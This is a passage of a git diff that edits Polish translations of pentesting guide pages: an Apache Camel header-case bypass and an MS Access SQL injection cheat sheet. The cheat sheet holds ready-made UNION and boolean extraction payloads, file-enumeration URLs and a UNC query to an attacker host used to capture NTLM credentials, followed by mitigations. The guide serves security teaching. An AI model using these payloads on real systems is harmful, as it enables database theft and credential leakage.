użytkownika, wrażliwa kontrola może zostać pominięta. 3. Jeśli komponent downstream traktuje nagłówki w sposób niezależny od wielkości liter (większość tak robi), zaakceptuje wartość kontrolowaną przez atakującego. ### Example: Apache Camel `exec` RCE (CVE-2025-27636) -W wrażliwych wersjach Apache Camel trasy *Command Center* próbują zablokować nieufne żądania, usuwając nagłówki `CamelExecCommandExecutable` i `CamelExecCommandArgs`. Porównanie było przeprowadzane za pomocą `equals()`, więc usunięto tylko dokładne nazwy małymi literami. +W wrażliwych wersjach Apache Camel trasy *Command Center* próbują zablokować nieufne żądania, usuwając nagłówki `CamelExecCommandExecutable` i `CamelExecCommandArgs`. Porównanie było przeprowadzane za pomocą `equals()`, więc usunięto tylko dokładne nazwy małymi literami. ```bash # Bypass the filter by using mixed-case header names and execute `ls /` on the host curl "http:///command-center" \ diff --git a/src/pentesting-web/sql-injection/ms-access-sql-injection.md b/src/pentesting-web/sql-injection/ms-access-sql-injection.md index bcb97deb9..51409cfc2 100644 --- a/src/pentesting-web/sql-injection/ms-access-sql-injection.md +++ b/src/pentesting-web/sql-injection/ms-access-sql-injection.md @@ -17,7 +17,7 @@ Konkatenacja ciągów jest możliwa za pomocą znaków `& (%26)` i `+ (%2b)`. ``` ### Komentarze -Nie ma komentarzy w MS Access, ale najwyraźniej możliwe jest usunięcie ostatniego elementu zapytania za pomocą znaku NULL: +Nie ma komentarzy w MS Access, ale najwyraźniej możliwe jest usunięcie ostatniego znaku zapytania za pomocą znaku NULL: ```sql 1' union select 1,2 from table%00 ``` @@ -35,7 +35,7 @@ Operator **`LIMIT`** **nie jest zaimplementowany**. Możliwe jest jednak ogranic ```sql 1' UNION SELECT TOP 3 attr FROM table%00 ``` -Tak jak w TOP, możesz użyć **`LAST`**, który pobierze **wiersze z końca**. +Podobnie jak TOP, możesz użyć **`LAST`**, który pobierze **wiersze z końca**. ## Zapytania UNION/Zapytania podrzędne @@ -45,18 +45,18 @@ Dlatego musisz znać **ważną nazwę tabeli**. ```sql -1' UNION SELECT username,password from users%00 ``` -### Łączenie równań + Podciąg +### Chaining equals + Substring > [!WARNING] > To pozwoli Ci na wyeksportowanie wartości z bieżącej tabeli bez potrzeby znajomości jej nazwy. **MS Access** pozwala na **dziwną składnię** taką jak **`'1'=2='3'='asd'=false`**. Jak zwykle, SQL injection będzie w klauzuli **`WHERE`**, co możemy wykorzystać. -Wyobraź sobie, że masz SQLi w bazie danych MS Access i wiesz (lub zgadłeś), że jedna **nazwa kolumny to username**, a to jest pole, które chcesz **wyeksportować**. Możesz sprawdzić różne odpowiedzi aplikacji webowej, gdy używana jest technika łączenia równań i potencjalnie wyeksportować zawartość za pomocą **iniekcji logicznej** używając funkcji **`Mid`** do uzyskania podciągów. +Wyobraź sobie, że masz SQLi w bazie danych MS Access i wiesz (lub zgadłeś), że jedna **nazwa kolumny to username**, a to jest pole, które chcesz **wyeksportować**. Możesz sprawdzić różne odpowiedzi aplikacji webowej, gdy używana jest technika chaining equals i potencjalnie wyeksportować zawartość za pomocą **boolean injection** używając funkcji **`Mid`** do uzyskania podciągów. ```sql '=(Mid(username,1,3)='adm')=' ``` -Jeśli znasz **nazwę tabeli** i **kolumny**, które chcesz zrzucić, możesz użyć kombinacji `Mid`, `LAST` i `TOP`, aby **wyciągnąć wszystkie informacje** za pomocą boolean SQLi: +Jeśli znasz **nazwę tabeli** i **kolumny**, które chcesz zrzucić, możesz użyć kombinacji `Mid`, `LAST` i `TOP`, aby **wyciekł wszystkie informacje** za pomocą boolean SQLi: ```sql '=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')=' ``` @@ -72,12 +72,12 @@ Możesz również użyć bardziej tradycyjnego sposobu: ```sql -1' AND (SELECT TOP 1 )%00 ``` -_Czuj się swobodnie, aby to sprawdzić w internetowym placu zabaw._ +_Feel free to check this in the online playground._ - Sqlmap common table names: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt) -- Istnieje inna lista w [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) +- There is another list in [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) -### Brute-Forcing nazw kolumn +### Brute-Forcing Columns names Możesz **brute-forcować aktualne nazwy kolumn** za pomocą sztuczki z łańcuchowymi równaniami: ```sql @@ -87,7 +87,7 @@ Lub z **group by**: ```sql -1' GROUP BY column_name%00 ``` -Lub możesz przeprowadzić atak brute-force na nazwy kolumn **innej tabeli** za pomocą: +Możesz również przeprowadzić atak brute-force na nazwy kolumn **innej tabeli** za pomocą: ```sql '=(SELECT TOP 1 column_name FROM valid_table_name)=' @@ -103,7 +103,7 @@ W skrócie, zapytanie używa instrukcji „if-then”, aby wywołać „200 OK ### Sztuczki oparte na czasie (ślepe) -Jet/ACE SQL sam w sobie **nie** udostępnia natywnej funkcji `SLEEP()` lub `WAITFOR`, więc tradycyjne ślepe wstrzyknięcia oparte na czasie są ograniczone. Możesz jednak wprowadzić mierzalne opóźnienie, zmuszając silnik do uzyskania dostępu do **zasobu sieciowego, który jest wolny lub nie odpowiada**. Ponieważ silnik spróbuje otworzyć plik przed zwróceniem wyniku, czas odpowiedzi HTTP odzwierciedla opóźnienie w podróży do hosta kontrolowanego przez atakującego. +Jet/ACE SQL sam w sobie **nie** udostępnia natywnej funkcji `SLEEP()` lub `WAITFOR`, więc tradycyjne ślepe wstrzyknięcia oparte na czasie są ograniczone. Możesz jednak wprowadzić mierzalne opóźnienie, zmuszając silnik do uzyskania dostępu do **zasobu sieciowego, który jest wolny lub nie odpowiada**. Ponieważ silnik spróbuje otworzyć plik przed zwróceniem wyniku, czas odpowiedzi HTTP odzwierciedla opóźnienie w obie strony do hosta kontrolowanego przez atakującego. ```sql ' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'-- ``` @@ -113,7 +113,7 @@ Wskaź UNC do: * hosta, który zrywa handshake TCP po `SYN-ACK` * pułapki zapory ogniowej -Dodatkowe sekundy wprowadzone przez zdalne wyszukiwanie mogą być użyte jako **oracle czasowy poza pasmem** dla warunków boolowskich (np. wybierz wolną ścieżkę tylko wtedy, gdy wstrzyknięty predykat jest prawdziwy). Microsoft dokumentuje zachowanie zdalnej bazy danych oraz powiązany przełącznik zabijający w rejestrze w KB5002984. citeturn1search0 +Dodatkowe sekundy wprowadzone przez zdalne wyszukiwanie mogą być używane jako **oracle czasowy poza pasmem** dla warunków boolowskich (np. wybierz wolną ścieżkę tylko wtedy, gdy wstrzyknięty predykat jest prawdziwy). Microsoft dokumentuje zachowanie zdalnej bazy danych oraz powiązany przełącznik zabijający w KB5002984. citeturn1search0 ### Inne interesujące funkcje @@ -140,13 +140,13 @@ Jednak należy zauważyć, że bardzo typowe jest znalezienie SQL Injection, gdz ## Dostęp do systemu plików -### Pełna ścieżka katalogu głównego serwera WWW +### Pełna ścieżka do katalogu głównego serwisu -Znajomość **absolutnej ścieżki katalogu głównego serwera WWW może ułatwić dalsze ataki**. Jeśli błędy aplikacji nie są całkowicie ukryte, ścieżka katalogu może zostać ujawniona, próbując wybrać dane z nieistniejącej bazy danych. +Znajomość **absolutnej ścieżki do katalogu głównego serwisu może ułatwić dalsze ataki**. Jeśli błędy aplikacji nie są całkowicie ukryte, ścieżka do katalogu może zostać ujawniona, próbując wybrać dane z nieistniejącej bazy danych. `http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00` -MS Access odpowiada **komunikatem o błędzie zawierającym pełną ścieżkę katalogu WWW**. +MS Access odpowiada **komunikatem o błędzie zawierającym pełną ścieżkę do katalogu serwisu**. ### Enumeracja plików @@ -154,21 +154,21 @@ Następujący wektor ataku może być użyty do **wnioskowania o istnieniu pliku `http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00` -Inny sposób enumeracji plików polega na **określeniu elementu database.table**. **Jeśli** określony **plik istnieje**, MS Access wyświetla **komunikat o błędzie formatu bazy danych**. +Inny sposób na enumerację plików polega na **określeniu elementu database.table**. **Jeśli** określony **plik istnieje**, MS Access wyświetla **komunikat o błędzie formatu bazy danych**. `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00` ### Zgadywanie nazwy pliku .mdb -**Nazwa pliku bazy danych (.mdb)** może być wnioskowana za pomocą następującego zapytania: +**Nazwę pliku bazy danych (.mdb)** można wnioskować za pomocą następującego zapytania: `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00` -Gdzie **name[i] to nazwa pliku .mdb** i **realTable to istniejąca tabela** w bazie danych. Chociaż MS Access zawsze wyzwala komunikat o błędzie, możliwe jest odróżnienie nieprawidłowej nazwy pliku od prawidłowej nazwy pliku .mdb. +Gdzie **name[i] to nazwa pliku .mdb** a **realTable to istniejąca tabela** w bazie danych. Chociaż MS Access zawsze wyzwala komunikat o błędzie, możliwe jest odróżnienie nieprawidłowej nazwy pliku od prawidłowej nazwy pliku .mdb. ### Zdalny dostęp do bazy danych i kradzież poświadczeń NTLM (2023) -Od Jet 4.0 każde zapytanie może odnosić się do tabeli znajdującej się w *innym* pliku `.mdb/.accdb` za pomocą klauzuli `IN ''`: +Od wersji Jet 4.0 każde zapytanie może odnosić się do tabeli znajdującej się w *innym* pliku `.mdb/.accdb` za pomocą klauzuli `IN ''`: ```sql SELECT first_name FROM Employees IN '\\server\share\hr.accdb'; ``` @@ -191,7 +191,7 @@ Impact: Mitigations (zalecane nawet dla aplikacji Classic ASP): -* Dodaj wartość rejestru `AllowQueryRemoteTables = 0` pod `HKLM\Software\Microsoft\Jet\4.0\Engines` (i pod równoważną ścieżką ACE). To zmusza Jet/ACE do odrzucenia zdalnych ścieżek zaczynających się od `\\`. +* Dodaj wartość rejestru `AllowQueryRemoteTables = 0` pod `HKLM\Software\Microsoft\Jet\4.0\Engines` (i pod odpowiednią ścieżką ACE). To zmusza Jet/ACE do odrzucenia zdalnych ścieżek zaczynających się od `\\`. * Zablokuj wychodzące SMB/WebDAV na granicy sieci. * Oczyść / parametryzuj każdą część zapytania, która może znaleźć się w klauzuli `IN`.